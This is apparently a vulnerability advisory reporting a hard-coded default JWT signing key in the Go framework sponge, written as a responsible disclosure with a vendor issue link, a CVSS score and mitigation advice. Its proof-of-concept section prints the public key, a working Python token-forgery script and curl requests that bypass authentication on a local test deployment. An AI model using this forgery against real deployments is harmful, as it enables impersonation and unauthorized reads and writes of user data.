| الوصف | 1. Hard-coded signing key.
The Go framework sponge (github.com/go-dev-frame/sponge) hard-codes the default JWT signing key used by its authentication middleware. The constant is defined at https://github.com/go-dev-frame/sponge/blob/beef9eecdc5e2dc6b1358f130d8e9133771c277b/pkg/jwt/option.go#L21 as defaultSigningKey = []byte("CaqGzKLUsmWWbWI6F5EZbLwHsQeJ5RLyYTwBqa3mDKY6"), so any application built on sponge that mounts the middleware without configuring its own key signs and verifies JWTs with a value that is public in the repository. The string was introduced in commit 09a0e7049a (2025-03-12, "refactor: jwt library") and remains at line 21 of default branch main as of 2026-11-01; the commit I built and tested is beef9eecdc5e2dc6b1358f130d8e9133771c277b (2025-12-14).
2. My report and the vendor's response.
I reported this in https://github.com/go-dev-frame/sponge/issues/153 on 2026-07-20. The issue is still open; the maintainer acknowledged the problem and stated the old JWT package will be replaced by a separate auth center, but no fix has been released. In this entry I document the effective key material, an offline-forgery proof of concept executed against a self-built deployment of the pinned commit, and the persistence evidence.
3. Token construction.
The key needs no recovery step: it is a plain Go string literal used directly as the HMAC secret — no environment lookup, no Base64 decoding — so the bytes between the quotes are the exact signing secret. The default algorithm is HS256 (option.go:22) with a 24 hour default lifetime (option.go:23). Tokens carry the Claims struct of pkg/jwt/jwt.go:11-15 — UID (json "uid"), Fields (json "fields", a free-form map such as email or role) plus RegisteredClaims; GenerateToken (option.go:112-124) fills uid, fields, exp, iat and jti only, so tokens contain no iss and no aud. On validation verifyToken (jwt.go:132-153) enforces the HMAC method family (jwt.go:139-141, rejecting algorithm confusion) but passes no issuer, audience or expiration-required options, so only exp and nbf, when present, are checked. The verifier has no independent key: defaultValidateTokenOptions (option.go:180-184) falls back to defaultSigningKey and WithValidateTokenSignKey (option.go:196-203) silently ignores an empty key. Both the gin middleware (pkg/gin/middleware/jwtAuth.go:71-88) and the gRPC interceptor (pkg/grpc/interceptor/jwtAuth.go:91-97, 148-161) take that nil-key path when mounted without options — the public constant is the live verification key.
4. Attack process, fully offline with no login call.
I forged the token with Python standard library only:
#!/usr/bin/env python3
import hmac, hashlib, base64, json
KEY = b"CaqGzKLUsmWWbWI6F5EZbLwHsQeJ5RLyYTwBqa3mDKY6"
claims = {"uid":"1","fields":{"email":"[email protected]"},"exp":1793622687,"nbf":1793536286,"iat":1793536287,"jti":"a856b6a5ee6744948d96e3e4608f86f7"}
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64u(json.dumps({"alg":"HS256","typ":"JWT"},separators=(",",":")).encode())
p = b64u(json.dumps(claims,separators=(",",":")).encode())
sig = b64u(hmac.new(KEY, f"{h}.{p}".encode(), hashlib.sha256).digest())
print(f"{h}.{p}.{sig}")
Deployment disclosure: the repository's generated example router ships with the authentication line commented out (internal/routers/userExample.go:21), so in the test deployment built from commit beef9eec I enabled g.Use(middleware.Auth()) — a one-line uncomment that is the framework's documented usage — to exercise the middleware as any downstream application would. The request scripts, exactly as run against 127.0.0.1:20014:
curl -s -X POST http://127.0.0.1:20014/api/v1/userExample/ -H "Authorization: Bearer $(cat token.txt)" -H "Content-Type: application/json" -d '{"name":"poc-forger-20261101","email":"[email protected]","password":"5f4dcc3b5aa765d61d8327deb882cf99","phone":"+8613800138001","avatar":"https://poc.local/b.png","age":31,"gender":2}'
returned HTTP 200 with body {"code":0,"msg":"ok","data":{"id":9}}, and
curl -s http://127.0.0.1:20014/api/v1/userExample/9 -H "Authorization: Bearer $(cat token.txt)"
returned HTTP 200 with the complete stored row (createdAt 2026-11-01T12:41:10Z). I confirmed persistence directly in the deployment's MySQL container: user_example row id=9, name poc-forger-20261101, email [email protected]. Two further observations from the same session: a forged token with uid "forged-attacker", for which no account exists anywhere in the deployment, was likewise accepted and persisted — the middleware authenticates whatever uid the token claims — while anonymous requests and a token signed with a wrong key were rejected with HTTP 401. A signature made with the public default key is the only credential checked. The full transcript is archived in the issue thread records referenced below.
5. Impact.
For applications built on sponge that enable its JWT authentication middleware or gRPC interceptor without supplying a custom signing key, anyone who can read the public repository can forge tokens that pass as any uid — a complete authentication bypass, since identity is the token itself: endpoints trusting uid or fields for identity or access decisions are exposed to impersonation and unauthorized reads and writes, as demonstrated by the unauthenticated create and read-back above. CVSS:3.1 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, base score 9.1 Critical; CWE-321 Use of Hard-coded Cryptographic Key.
6. Mitigation.
Remove the hard-coded default key and require a per-deployment secret of sufficient entropy supplied through configuration; refuse to start, or at minimum emit an unmistakable startup warning, while the shipped default is still in place; rotate the now public value in existing deployments. Product homepage: https://github.com/go-dev-frame/sponge |
|---|